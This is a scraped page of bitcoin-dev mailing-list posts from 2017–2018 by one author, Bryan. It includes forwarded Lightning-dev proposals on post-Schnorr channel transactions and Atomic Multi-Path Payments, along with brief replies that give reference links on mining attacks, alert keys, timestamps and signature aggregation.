> Someone could DOS the system by producing empty blocks, sure, that's a
> central attack of what can happen when someone does a 51% attack with no
> special countermeasures other than everything that Bitcoin does at its
> core. An attacker or group of attackers could conspire to reduce block
> sizes in order to increase transaction fees, in fact they could do that
> with a miner activated soft fork. That appears both doable and given past
> things which have happened with transaction fees in the past potentially
> lucrative, particularly as block rewards fall in the future. Please don't
> tell the big mining pools about it.
>
Bram, actually I thought the previous discussions determined that less than
51% hashrate would be required for certain soft-hard-forks employing empty
blocks?
I don't have a specific reference:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-February/012377.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-February/012457.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-December/013332.html
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20180618/dfdb18a4/attachment.html>

2023-06-07 18:13:19

- reply

📅 Original date posted:2018-06-17
📝 Original message:Alert key has yet to be disclosed. The alert system itself has been retired
for quite a while now. More information about this can be found here:
https://bitcoin.org/en/alert/2016-11-01-alert-retirement
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-September/013104.html
Recently it was suggested to me that it would be helpful to wait for v0.13
end-of-life before revealing the alert keys.
I am seeking information regarding anyone that has requested final alert
messages for any particular projects that may have copied the bitcoin alert
pubkey.
Thank you.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20180617/5f87e0d9/attachment.html>

2023-06-07 18:10:59

- reply

📅 Original date posted:2018-02-20
📝 Original message:---------- Forwarded message ----------
From: Anthony Towns <aj at erisian.com.au>
Date: Mon, Feb 19, 2018 at 4:59 PM
Subject: [Lightning-dev] Post-Schnorr lightning txes
To: lightning-dev at lists.linuxfoundation.org
Hi *,
My understanding of lightning may be out of date, so please forgive
(or at least correct :) any errors on my behalf.
I was thinking about whether Greg Maxwell's graftroot might solve the
channel monitoring problem (spoiler: not really) and ended up with maybe
an interesting take on Schnorr. I don't think I've seen any specific
writeup of what that might look like, so hopefully at least some of this
is novel!
I'm assuming familiarity with current thinking on Schnorr sigs -- but all
you should need to know is the quick summary at footnote [0].
So I think there's four main scenarios for closing a lightning channel:
- both parties are happy to close, do so cooperatively, and can
sign a new unconditional transaction that they agree on. already fine.
(should happen almost all of the time, call it 80%)
- communications failure: one side has to close, but the other side
is happy to cooperate as far as they're able but can only do so via
the blockchain and maybe with some delay (maybe 15% of the time)
- disappearance, uncooperative: one side effectively completely
disappears so the other side has to fully close the channel on their
own (5% of the time)
- misbehaviour: one side tries publishing an old channel state due to
error or maliciousness, and the other collects the entire balance as
penalty (0% of the time)
With "graftroot" in mind, I was thinking that optimising for the last
case might be interesting -- despite expecting it to be vanishingly
rare. That would have to look something like:
(0) funding tx
(1) ...which is spent by a misbehaving commitment tx
(2) ...which is spent by a penalty tx
You do need 3 txes for that case, but you really only need 1 output
for each: so (0) is 2-in-1-out, (1) is 1-in-1-out, (2) is 1-in-1-out;
which could all be relatively cheap. (And (2) could be batched with other
txes making it 1 input in a potentially large tx)
For concreteness, I'm going to treat A as the one doing the penalising,
and B (Bad?) as the one that's misbehaving.
If you treat each of those txes as a muSig Schnorr pay-to-pubkey, the
output addresses would be:
(0) funding tx pays to [A,B]
(1) commitment tx pays to [A(i),Revocation(B,i)]
(2) pays to A
(where i is a commitment id / counter for the channel state)
If B misbehaves by posting the commitment tx after revealing the
revocation secret, A can calculate A(i) and Revocation(B,i) and claim
all the funds immediately.
As far as the other cases go:
- In a cooperative close, you don't publish any commitment txes, you
just spend the funding to each party's preferred destinations
directly; so this is already great.
- Otherwise, you need to be able to actually commit to how the funds
get distributed.
But committing to distributing funds is easy: just jointly sign
a transaction with [A(i),Revocation(B,i)]. Since B is the one we're
worrying about misbehaving, it needs to hold a transaction with the
appropriate outputs that is:
- timelocked to `to_self_delay` blocks/seconds in advance via nSequence
- signed by A(i)
That ensures A has `to_self_delay` blocks/seconds to penalise misehaviour,
and that when closing properly, B can complete the signature using the
current revocation secret.
This means the "appropriate outputs" no longer need the OP_CSV step, which
should simplify the scripts a bit.
Having B have a distribution transaction isn't enough -- B could vanish
between publishing the commitment transaction and the distribution
transaction, leaving A without access to any funds. So A needs a
corresponding distribution transaction. But because that transaction can
only be published if B signs and publishes the corresponding commitment
transaction, the fact that it's published indicates both A and B are
happy with the channel close -- so this is a semi-cooperative close and
no delay is needed. So A should hold a partially signed transaction with
the same outputs:
- without any timelock
- signed by Revocation(B,i), waiting for signature by A(i)
Thus, if B does a non-cooperative close, either:
- A proves misbehaviour and claims all the funds immediately
- A agrees that the channel state is correct, signs and publishes
the un-timelocked distribution transaction, then claims A's outputs;
B can then immediately claim its outputs
- A does nothing, and B waits for the `to_self_delay` period, signs
and publishes its transaction, then claims B's outputs; A can eventually
claim its own outputs
In that case all of the transactions except the in-flight HTLCs just look
like simple pay-to-pubkey transactions.
Further, other than the historical secrets no old information needs
to be retained: misbehaviour can be dealt with (and can only be dealt
with) by creating a new transaction signed by your own secrets and the
revocation information.
None of that actually relies on Schnorr-multisig, I think -- it could
be done today with normal 2-of-2 multisig as far as I can see.
I'm not 100% sure how this approach works compared to the current one
for the CSV/CLTV overlap problem. I think any case you could solve by
obtaining a HTLC-Timeout or HTLC-Success transaction currently, you could
solve in the above scenario by just updating the channel state to remove
the HTLC.
So I believe the above lets you completely forget info about old HTLCs,
while still enforcing correct behavior, and also makes enforcing correct
behaviour cheaper because it's just two extremely simple transactions
to post. If I haven't missed any corner cases, it also seems to simplify
the scripts a fair bit.
Does this make sense? It seems to to me...
So for completeness, it would make sense to do HTLCs via Schnorr --
at least to make them reveal elliptic curve private keys, and ideally
to make them mostly indistinguishable from regular transactions as a
"scriptless script" [1] or "discreet log contract" [2]. (I think, at
least for HTLCs, these end up being the same?)
The idea then is to have the HTLC payment hash be R=r*G, where r is the
secret/payment receipt.
Supposing your current commitment has n HTLCs in-flight, some paying A
if the HTLC succeeds and "r" is revealed, others paying B. We'll focus
on one paying A.
So you succeed by A completing a signature that reveals r to B,
and which simultaneously allows collection of the funds on chain. A
needs to be able to do this knowing nothing other than r (and their own
private keys). So agree to sign to muSig 2-of-2 multisig [A,B]. A and B
generate random values i and j respectively and reveal I=i*G and J=j*G,
and each calculates Q=I+J+R, and they generate partial signatures of a
transaction paying A:
I, i + H(X,Q,m)*H(L,A)*a
J, j + H(X,Q,m)*H(L,B)*b
where L = H(A,B) and X = H(L,A)*A + H(L,B)*B as usual. Once A knows r,
A can construct a full signature by adding R, r to the above values,
and B can then determine r by subtracting the above values from signature
A generated.
To ensure B gets paid if the HTLC timesout, they should also sign a
timelocked transaction paying B directly, that B can hold onto until
the channel state gets updated.
And once you're doing payment hashes via ECC, you can of course change
them at each hop to make it harder to correlate steps in a payment route.
I think that when combined with the above method of handling CSV delays
and revocation, this covers all the needed cases with a straightforward
pay-to-pubkey(hash) output, no script info needed at all. It does mean
each HTLC needs a signature every time the channel state updates (B needs
to sign a tx allowing A to claim the output once A knows the secret,
A needs to sign a tx allowing B to claim the output on timeout).
For channel monitoring this is pretty good, I think. You need to
keep track of the revocation info and your secret keys -- but that's
essentially a constant amount of data.
If you're happy to have the data grow by 64 bytes every time the channel
state updates, you can outsource channel monitoring: arrange a formula
for constructing a penalty tx based on the channel commitment tx --
eg, 95% of the balance goes to me, 4% goes to the monitor's address, 1%
goes to fees, there's a relative locktime of to_self_delay/3 to allow me
to directly claim 100% of the funds if I happen to be paying attention;
then do a partial signature with A(i), and then allow the monitoring
service to catch fraudulent transactions, work out the appropriate
revocation secret, and finish the signature.
If your channel updates 100 times a second for an entire year, that's
200GB of data, which seems pretty feasible. (You can't just regenerate
that data though, unless you keep each commitment tx) And it's pretty
easy to work out which bit of data you need to access: the funding
tx that's being spent tells you which channel, and the channel state
index is encoded in the locktime and sequence, so you should only need
small/logarithmic overhead even for frequently updated channels rather
than any serious indexes.
I don't think you can do better than that without serious changes to
bitcoin: if you let the monitoring agency sign on its own, you'd need some
sort of covenant opcode to ensure it sends any money to you; and with
segwit outputs, there's no way to provide a signature for a transaction
without committing to exactly which transaction you're signing.
I was hoping covenants and graftroot would be enough, but I don't
think they are. The idea would be that since the transaction spends to
A(i)+Rev(B,i), you'd sign an output script with A that uses covenant
opcodes to ensure the transaction only pays the appropriate monitoring
reward, and the monitor could then work out A(i)-A and Rev(B,i) and finish
the signature. But the signature by "A" would need to know A(i)+Rev(B,i)
when calculating the hash, and that's different for every commitment
transaction, so as far as I can see, it just doesn't work. You can't
drop the muSig-style construction because you need to be protect yourself
against potential malicious choice of the revocation secret [3].
Summary:
- Funding txes as 2-of-2 multisig is still great. Convert to
Schnorr/muSig when available of course.
- Generate 6+8*n transactions everytime the channel state is updated,
(n = number of HTLCs in-flight)
1. Channel state commitment tx, held by A, spends funding tx,
payable to Schnorr muSig address [A(i),Rev(B,i)], signed by B
2. Channel fund distribution tx, held by A (CSV), spends (1),
signed by Rev(B,i)
3. Channel fund distribution tx, held by B (no CSV), spends (1),
signed by A(i)
4. Channel state commitment tx, held by B, spends funding tx
payable to Schnorr muSig address [B(i),Rev(A,i)], signed by A
5. Channel fund distribution tx, held by B (CSV), spends (4),
signed by Rev(A,i)
6. Channel fund distribution tx, held by A (no CSV), spends (4),
signed by B(i)
The fund distribution txs all pay the same collection of addresses:
- channel balance for A directly to A's preferred address
- channel balance for B directly to B's preferred address
- HTLC balance to muSig address for [A,B] for each in-flight HTLC
paying A on success
- HTLC balance to muSig address for [B,A] for each in-flight HTLC
paying B on success
- (probably makes sense to bump the HTLC addresses by some random
value to make it harder for third parties to tell which addresses
were balances versus HTLCs)
Both (1) and (4) include obscured channel state ids as per current
standard.
For each HTLC that pays X on timeout and Y on success:
a. Timeout tx, held by X, signed by Y, spends from (2)
b. Timeout tx, held by X, signed by Y, spends from (3)
c. Timeout tx, held by X, signed by Y, spends from (5)
d. Timeout tx, held by X, signed by Y, spends from (6)
e. Success tx, held by Y, signed by X, spends from (2)
f. Success tx, held by Y, signed by X, spends from (3)
g. Success tx, held by Y, signed by X, spends from (5)
h. Success tx, held by Y, signed by X, spends from (6)
(these should all be able to be SIGHASH_SINGLE, ANYONECANPAY
to allow some level of aggregation)
- Fund distribution tx outputs can all be pay2pubkey(hash): HTLCs work
by pre-signed timelocked transactions and scriptless
scripts/discreet-log contracts to reveal the secret; balances work
directly; CSV and revocations are already handled by that point
- You can discard all old transaction info and HTLC parameters once
they're not relevant to the current channel state
- Channel monitoring can be outsourced pretty efficiently -- as little as
a signature per state could be made to works as far as I can see,
which doesn't add up too fast.
- There's still no plausible way of doing constant space outsourced
channel monitoring without some sort of SIGHASH_NOINPUT, at least
that I can see
Thoughts?
[4]
Cheers,
aj, very sad that this didn't turn out to be a potential use case for
graftroot :(
[0] In particular, I'm assuming that:
- Schnorr sigs in bitcoin will look something like:
R, r + H(X,R,m)*x
(where m is the message being signed by private key x, r is a
random per-sig nonce, R and X are public keys corresponding to r,x;
H is the secure hash function)
- muSig is a secure way for untrusting parties to construct an n-of-n
combined signature; for public keys A and B, it produces a combined
public key:
X = H(L,A)*A + H(L,B)*B
with L = H(A,B)
See https://blockstream.com/2018/01/23/musig-key-aggregation-
schnorr-signatures.html
[1] https://scalingbitcoin.org/stanford2017/Day2/Using-the-
Chain-for-what-Chains-are-Good-For.pdf
http://diyhpl.us/wiki/transcripts/scalingbitcoin/
stanford-2017/using-the-chain-for-what-chains-are-good-for/
[2] https://adiabat.github.io/dlc.pdf
https://diyhpl.us/wiki/transcripts/discreet-log-contracts/
[3] Well, maybe you could request a zero-knowledge proof to ensure a new
revocation hash conforms to the standard for generating revocation
secrets without revealing the secret, and have the public key be
a(i)*G + r(B,i)*G without using the muSig construct, but that would
probably be obnoxious to have to generate every time you update
the channel state.
[4] As an aside -- this could make it feasible and interesting to penalise
disappearance as well as misbehaviour. If you add a transaction
the B pre-signs, spending the commitment tx A holds, giving all the
channel funds to A but only after a very large CSV timeout, perhaps
`to_self_delay`*50, then the scenarios are:
If A is present:
- B publishes an old commitment: A immediately steals all the
funds if active or outsourced misbehaviour monitoring. Whoops!
- B publishes the current commitment: A publishes its distribution
transaction and collects its funds immediately, allowing B to
do likewise
If A has disappeared:
- B publises the current commitment and waits a modest amount
of time, publishes its distribution transaction claiming its
rightful funds, and allowing A to collect its funds if it ever
does reappear and still knows its secrets
- B publishes the current commitment, waits a fair while,
A reappears and publishes its distribution transactions, both
parties get their rightful funds
- B publishes the current commitment, waits an extended period
of time, and claims the entire channel's funds. If B is
particularly reputable, and A can prove its identity (but not
recover all its secrets) maybe B even refunds A some/all of its
rightful balance
Perhaps that provides too much of an incentive to try blocking
someone from having access to the blockchain though.
_______________________________________________
Lightning-dev mailing list
Lightning-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20180220/1540dab1/attachment-0001.html>

2023-06-07 18:10:34

- reply

📅 Original date posted:2018-02-08
📝 Original message:---------- Forwarded message ----------
From: Olaoluwa Osuntokun <laolu32 at gmail.com>
Date: Mon, Feb 5, 2018 at 11:26 PM
Subject: [Lightning-dev] AMP: Atomic Multi-Path Payments over Lightning
To: lightning-dev <lightning-dev at lists.linuxfoundation.org>
Hi Y'all,
A common question I've seen concerning Lightning is: "I have five $2
channels, is it possible for me to *atomically* send $6 to fulfill a
payment?". The answer to this question is "yes", provided that the receiver
waits to pull all HTLC's until the sum matches their invoice. Typically, one
assumes that the receiver will supply a payment hash, and the sender will
re-use the payment hash for all streams. This has the downside of payment
hash re-use across *multiple* payments (which can already easily be
correlated), and also has a failure mode where if the sender fails to
actually satisfy all the payment flows, then the receiver can still just
pull the monies (and possibly not disperse a service, or w/e).
Conner Fromknecht and I have come up with a way to achieve this over
Lightning while (1) not re-using any payment hashes across all payment
flows, and (2) adding a *strong* guarantee that the receiver won't be paid
until *all* partial payment flows are extended. We call this scheme AMP
(Atomic Multi-path Payments). It can be experimented with on Lightning
*today* with the addition of a new feature bit to gate this new
feature. The beauty of the scheme is that it requires no fundamental changes
to the protocol as is now, as the negotiation is strictly *end-to-end*
between sender and receiver.
TL;DR: we repurpose some unused space in the onion per-hop payload of the
onion blob to signal our protocol (and deliver some protocol-specific data),
then use additive secret sharing to ensure that the receiver can't pull the
payment until they have enough shares to reconstruct the original pre-image.
Protocol Goals
==============
1. Atomicity: The logical transaction should either succeed or fail in
entirety. Naturally, this implies that the receiver should not be unable to
settle *any* of the partial payments, until all of them have arrived.
2. Avoid Payment Hash Reuse: The payment preimages validated by the
consensus layer should be distinct for each partial payment. Primarily,
this helps avoid correlation of the partial payments, and ensures that
malicious intermediaries straddling partial payments cannot steal funds.
3. Order Invariance: The protocol should be forgiving to the order in which
partial payments arrive at the destination, adding robustness in the face of
delays or routing failures.
4. Non-interactive Setup: It should be possible for the sender to perform an
AMP without directly coordinating with the receiving node. Predominantly,
this means that the *sender* is able to determine the number of partial
payments to use for a particular AMP, which makes sense since they will be
the one fronting the fees for the cost of this parameter. Plus, we can
always turn a non-interactive protocol into an interactive one for the
purposes of invoicing.
Protocol Benefits
=================
Sending pay payments predominantly over an AMP-like protocol has several
clear benefits:
- Eliminates the constraint that a single path from sender to receiver
with sufficient directional capacity. This reduces the pressure to have
larger channels in order to support larger payment flows. As a result,
the payment graph be very diffused, without sacrificing payment
utility
- Reduces strain from larger payments on individual paths, and allows the
liquidity imbalances to be more diffuse. We expect this to have a
non-negligible impact on channel longevity. This is due to the fact that
with usage of AMP, payment flows are typically *smaller* meaning that
each payment will unbalance a channel to a lesser degree that
with one giant flow.
- Potential fee savings for larger payments, contingent on there being a
super-linear component to routed fees. It's possible that with
modifications to the fee schedule, it's actually *cheaper* to send
payments over multiple flows rather than one giant flow.
- Allows for logical payments larger than the current maximum value of an
individual payment. Atm we have a (temporarily) limit on the max payment
size. With AMP, this can be side stepped as each flow can be up the max
size, with the sum of all flows exceeding the max.
- Given sufficient path diversity, AMPs may improve the privacy of LN
Intermediaries are now unaware to how much of the total payment they are
forwarding, or even if they are forwarding a partial payment at all.
- Using smaller payments increases the set of possible paths a partial
payment could have taken, which reduces the effectiveness of static
analysis techniques involving channel capacities and the plaintext
values being forwarded.
Protocol Overview
==================
This design can be seen as a generalization of the single, non-interactive
payment scheme, that uses decoding of extra onion blobs (EOBs?) to encode
extra data for the receiver. In that design, the extra data includes a
payment preimage that the receiver can use to settle back the payment. EOBs
and some method of parsing them are really the only requirement for this
protocol to work. Thus, only the sender and receiver need to implement this
feature in order for it to function, which can be announced using a feature
bit.
First, let's review the current format of the per-hop payload for each node
described in BOLT-0004.
┌───────────────┬───────────────────┬────────────────┬──────
─────────────────┬─────────────────┬─────────────────┐
│Realm (1 byte) │Next Addr (8 bytes)│Amount (8 bytes)│Outgoing CLTV (4
bytes)│Unused (12 bytes)│ HMAC (32 bytes) │
└───────────────┴───────────────────┴────────────────┴──────
─────────────────┴─────────────────┴─────────────────┘
■───────────────────────────────────────────────────────────
─────────────────────────────────────────────────────■
┌─────────────────┐
│65 Bytes Per Hop │
└─────────────────┘
Currently, *each* node gets a 65-byte payload. We use this payload to give
each node instructions on *how* to forward a payment. We tell each node: the
realm (or chain to forward on), then next node to forward to, the amount to
forward (this is where fees are extracted by forwarding out less than in),
the outgoing CLTV (allows verification that the prior node didn't modify any
values), and finally an HMAC over the entire thing.
Two important points:
1. We have 12 bytes for each hop that are currently unpurposed and can be
used by application protocols to signal new interpretation of bytes and
also deliver additional encrypted+authenticated data to *each* hop.
2. The protocol currently has a hard limit of 20-hops. With this feature
we ensure that the packet stays fixed sized during processing in order to
avoid leaking positional information. Typically most payments won't use
all 20 hops, as a result, we can use the remaining hops to stuff in *even
more* data.
Protocol Description
====================
The solution we propose is Atomic Multi-path Payments (AMPs). At a high
level, this leverages EOBs to deliver additive shares of a base preimage,
from which the payment preimages of partial payments can be derived. The
receiver can only construct this value after having received all of the
partial payments, satisfying the atomicity constraint.
The basic protocol:
Primitives
==========
Let H be a CRH function.
Let || denote concatenation.
Let ^ denote xor.
Sender Requirements
===================
The parameters to the sending procedure are a random identifier ID, the
number of partial payments n, and the total payment value V. Assume the
sender has some way of dividing V such that V = v_1 + … + v_n.
To begin, the sender builds the base preimage BP, from which n partial
preimages will be derived. Next, the sender samples n additive shares s_1,
…, s_n, and takes the sum to compute BP = s_1 ^ … ^ s_n.
With the base preimage created, the sender now moves on to constructing the
n partial payments. For each i in [1,n], the sender deterministically
computes the partial preimage r_i = H(BP || i), by concatenating the
sequence number i to the base preimage and hashing the result. Afterwards,
it applies H to determine the payment hash to use in the i’th partial
payment as h_i = H(r_i). Note that that with this preimage derivation
scheme, once the payments are pulled each pre-image is distinct and
indistinguishable from any other.
With all of the pieces in place, the sender initiates the i’th payment by
constructing a route to the destination with value v_i and payment hash h_i.
The tuple (ID, n, s_i) is included in the EOB to be opened by the receiver.
In order to include the three tuple within the per-hop payload for the final
destination, we repurpose the _first_ byte of the un-used padding bytes in
the payload to signal version 0x01 of the AMP protocol (note this is a PoC
outline, we would need to standardize signalling of these 12 bytes to
support other protocols). Typically this byte isn't set, so the existence of
this means that we're (1) using AMP, and (2) the receiver should consume the
_next_ hop as well. So if the payment length is actually 5, the sender tacks
on an additional dummy 6th hop, encrypted with the _same_ shared secret for
that hop to deliver the e2e encrypted data.
Note, the sender can retry partial payments just as they would normal
payments, since they are order invariant, and would be indistinguishable
from regular payments to intermediaries in the network.
Receiver Requirements
=====================
Upon the arrival of each partial payment, the receiver will iteratively
reconstruct BP, and do some bookkeeping to figure out when to settle the
partial payments. During this reconstruction process, the receiver does not
need to be aware of the order in which the payments were sent, and in fact
nothing about the incoming partial payments reveals this information to the
receiver, though this can be learned after reconstructing BP.
Each EOB is decoded to retrieve (ID, n, s_i), where i is the unique but
unknown index of the incoming partial payment. The receiver has access to
persistent key-value store DB that maps ID to (n, c*, BP*), where c*
represents the number of partial payments received, BP* is the sum of the
received additive shares, and the superscript * denotes that the value is
being updated iteratively. c* and BP* both have initial values of 0.
In the basic protocol, the receiver cache’s the first n it sees, and
verifies that all incoming partial payments have the same n. The receiver
should reject all partial payments if any EOB deviates. Next, the we update
our persistent store with DB[ID] = (n, c* + 1, BP* ^ s_i), advancing the
reconstruction by one step.
If c* + 1 < n, there are still more packets in flight, so we sit tight.
Otherwise, the receiver assumes all partial payments have arrived, and can
being settling them back. Using the base preimage BP = BP* ^ s_i from our
final iteration, the receiver can re-derive all n partial preimages and
payment hashes, using r_i = H(BP || i) and h_i = H(r_i) simply through
knowledge of n and BP.
Finally, the receiver settles back any outstanding payments that include
payment hash h_i using the partial preimage r_i. Each r_i will appear random
due to the nature of H, as will it’s corresponding h_i. Thus, each partial
payment should appear uncorrelated, and does not reveal that it is part of
an AMP nor the number of partial payments used.
Non-interactive to Interactive AMPs
===================================
Sender simply receives an ID and amount from the receiver in an invoice
before initiating the protocol. The receiver should only consider the
invoice settled if the total amount received in partial payments containing
ID matches or exceeds the amount specified in the invoice. With this
variant, the receiver is able to map all partial payments to a pre-generated
invoice statement.
Additive Shares vs Threshold-Shares
===================================
The biggest reason to use additive shares seems to be atomicity. Threshold
shares open the door to some partial payments being settled, even if others
are left in flight. Haven’t yet come up with a good reason for using
threshold schemes, but there seem to be plenty against it.
Reconstruction of additive shares can be done iteratively, and is win for
the storage and computation requirements on the receiving end. If the sender
decides to use fewer than n partial payments, the remaining shares could be
included in the EOB of the final partial payment to allow the sender to
reconstruct sooner. Sender could also optimistically do partial
reconstruction on this last aggregate value.
Adaptive AMPs
=============
The sender may not always be aware of how many partial payments they wish to
send at the time of the first partial payment, at which point the simplified
protocol would require n to be chosen. To accommodate, the above scheme can
be adapted to handle a dynamically chosen n by iteratively constructing the
shared secrets as follows.
Starting with a base preimage BP, the key trick is that the sender remember
the difference between the base preimage and the sum of all partial
preimages used so far. The relation is described using the following
equations:
X_0 = 0
X_i = X_{i-1} ^ s_i
X_n = BP ^ X_{n-1}
where if n=1, X_1 = BP, implying that this is in fact a generalization of
the single, non-interactive payment scheme mentioned above. For i=1, ...,
n-1, the sender sends s_i in the EOB, and X_n for the n-th share.
Iteratively reconstructing s_1 ^ …. ^ s_{n-1} ^ X_n = BP, allows the
receiver to compute all relevant r_i = H(BP || i) and h_i = H(r_i). Lastly,
the final number of partial payments n could be signaled in the final EOB,
which would also serve as a sentinel value for signaling completion. In
response to DOS vectors stemming from unknown values of n, implementations
could consider advertising a maximum value for n, or adopting some sort of
framing pattern for conveying that more partial payments are on the way.
We can further modify our usage of the per-hop payloads to send (H(BP),
s_i) to
consume most of the EOB sent from sender to receiver. In this scenario, we'd
repurpose the 11-bytes *after* our signalling byte in the unused byte
section
to store the payment ID (which should be unique for each payment). In the
case
of a non-interactive payment, this will be unused. While for interactive
payments, this will be the ID within the invoice. To deliver this slimmer
2-tuple, we'll use 32-bytes for the hash of the BP, and 32-bytes for the
partial pre-image share, leaving an un-used byte in the payload.
Cross-Chain AMPs
================
AMPs can be used to pay a receiver in multiple currencies atomically...which
is pretty cool :D
Open Research Questions
=======================
The above is a protocol sketch to achieve atomic multi-path payments over
Lightning. The details concerning onion blob usage serves as a template that
future protocols can draw upon in order to deliver additional data to *any*
hop in the route. However, there are still a few open questions before
something like this can be feasibly deployed.
1. How does the sender decide how many chunked payments to send, and the
size of each payment?
- Upon a closer examination, this seems to overlap with the task of
congestion control within TCP. The sender may be able to utilize
inspired heuristics to gauge: (1) how large the initial payment should
be
and (2) how many subsequent payments may be required. Note that if the
first payment succeeds, then the exchange is over in a signal round.
2. How can AMP and HORNET be composed?
- If we eventually integrate HORNET, then a distinct communications
sessions can be established to allow the sender+receiver to exchange
up-to-date partial payment information. This may allow the sender to
more
accurately size each partial payment.
3. Can the sender's initial strategy be governed by an instance of the
Push-relabel max flow algo?
4. How does this mesh with the current max HTLC limit on a commitment?
- ATM, we have a max limit on the number of active HTLC's on a particular
commitment transaction. We do this, as otherwise it's possible that the
transaction is too large, and exceeds standardness w.r.t transaction
size. In a world where most payments use an AMP-like protocol, then
overall ant any given instance there will be several pending HTLC's on
commitments network wise.
This may incentivize nodes to open more channels in order to support
the increased commitment space utilization.
Conclusion
==========
We've presented a design outline of how to integrate atomic multi-path
payments (AMP) into Lightning. The existence of such a construct allows a
sender to atomically split a payment flow amongst several individual payment
flows. As a result, larger channels aren't as important as it's possible to
utilize one total outbound payment bandwidth to send several channels.
Additionally, in order to support the increased load, internal routing nodes
are incensed have more active channels. The existence of AMP-like payments
may also increase the longevity of channels as there'll be smaller, more
numerous payment flows, making it unlikely that a single payment comes
across unbalances a channel entirely. We've also showed how one can utilize
the current onion packet format to deliver additional data from a sender to
receiver, that's still e2e authenticated.
-- Conner && Laolu
_______________________________________________
Lightning-dev mailing list
Lightning-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20180208/be98f021/attachment-0001.html>

2023-06-07 18:10:26

- reply

📅 Original date posted:2018-01-29
📝 Original message:On Mon, Jan 29, 2018 at 7:34 AM, Neiman via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
>
> But how accurate are Bitcoins timestamps?
>
A perspective on block timestamp and opentimestamps can be found here:
https://lists.w3.org/Archives/Public/public-blockchain/2016Sep/0076.html
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20180129/ff2b1170/attachment.html>

2023-06-07 18:09:06

- reply

📅 Original date posted:2017-12-31
📝 Original message:On Sun, Dec 31, 2017 at 5:39 PM, CANNON via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
>
> I had a question relating to scaling and privacy enhancements.
> I believe that segwit combined with aggregated signatures
> and coinjoin can potentially achieve such. The idea is to
> use aggregated signatures in conjunction with coinjoin. So
> that all inputs of a coinjoin transaction would have a single
> signature vastly decreasing size while having privacy at the
> same time. If majority of transactions in a block did this I
> assume that significant more transactions could be fit into a
> block?
Here are some resources to read regarding signature aggregation and
scalability:
https://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2017-09-06-signature-aggregation/
https://diyhpl.us/wiki/transcripts/gmaxwell-2017-08-28-deep-dive-bitcoin-core-v0.15/#signature-aggregation
https://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/schnorr-signatures/
https://bitcoincore.org/en/2017/03/23/schnorr-signature-aggregation/
https://bitcointalk.org/index.php?topic=1377298.0
https://bitcoincore.org/logs/2016-05-zurich-meeting-notes.html
https://github.com/sipa/secp256k1/blob/968e2f415a5e764d159ee03e95815ea11460854e/src/modules/schnorr/schnorr.md
https://diyhpl.us/wiki/transcripts/2016-july-bitcoin-developers-miners-meeting/dan-boneh/
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20171231/515a6708/attachment.html>

2023-06-07 18:07:54

- reply

📅 Original date posted:2017-11-25
📝 Original message:---------- Forwarded message ----------
From: Olaoluwa Osuntokun <laolu32 at gmail.com>
Date: Sat, Nov 25, 2017 at 1:16 PM
Subject: Re: [Lightning-dev] General question on routing difficulties
To: Pedro Moreno Sanchez <pmorenos at purdue.edu>
Cc: lightning-dev at lists.linuxfoundation.org
(final try as the prior mail hit the size limit, sorry for the spam!)
Hi Pedro,
I came across this paper a few weeks ago, skimmed it lightly, and noted a
few interesting aspects I wanted to dig into later. Your email reminded me
to re-read the paper, so thanks for that! Before reading the paper, I
wasn't aware of the concept of coordinate embedding, nor how that could be
leveraged in order to provide sender+receiver privacy in a payment network
using a distance-vector-like routing system. Very cool technique!
After reading the paper again, my current conclusion is that while the
protocol presents some novel traits in the design a routing system for
payment channel based networks, it lends much better to a
closed-membership, credit network, such as Ripple (which is the focus of
the paper).
In Ripple, there are only a handful of gateways, and clients that seek to
interact with the network must chose their gateways *very* carefully,
otherwise consensus faults can occur, violating safety properties of the
network. It would appear that this gateway model nicely translates well to
the concept of landmarks that the protocol is strongly dependant on.
Ideally, each gateway would be a landmark, and as there are a very small
number of gateways within Ripple (as you must be admitted to be a verified
gateway in the network), then parameter L (the total number of landmarks)
is kept small which minimizes routing overhead, the average path-length,
etc.
When we compare Ripple to LN, we find that the two networks are nearly
polar opposites of each other. LN is an open-membership network that
requires zero initial configuration by central administrators(s). It more
closely resembles *debit* network (a series of tubes of money), as the
funds within channels must be pre-committed in order to establish a link
between two nodes, and cannot be increased without an additional on-chain
control transaction (to add or remove funds). Additionally, AFAIK (I'm no
expert on Ripple of course), there's no concept of fees within the
network. While within LN, the fee structure is a critical component of the
inventive for node operators to lift their coins onto this new layer to
provider payment routing services. Finally, in LN we rely on time-locks
in order to ensure that all transactions are atomic which adds another set
of constraints. Ripple has no such constraint as transfers are based on
bi-lateral trust.
With that said, the primary difference between this protocol is that
currently we utilize a source-routed system which requires the sender to
know "most" of the path to the destination. I say "most" as currently,
it's possible for the receiver of a payment to use a poor man's rendezvous
system to provide the sender with a set of suffix paths form what one can
consider ad-hoc landmarks. The sender can then concatenate these with
their own paths, and construct the Sphinx routing package which encodes
the full route. This itself only gives sender privacy, and the receiver
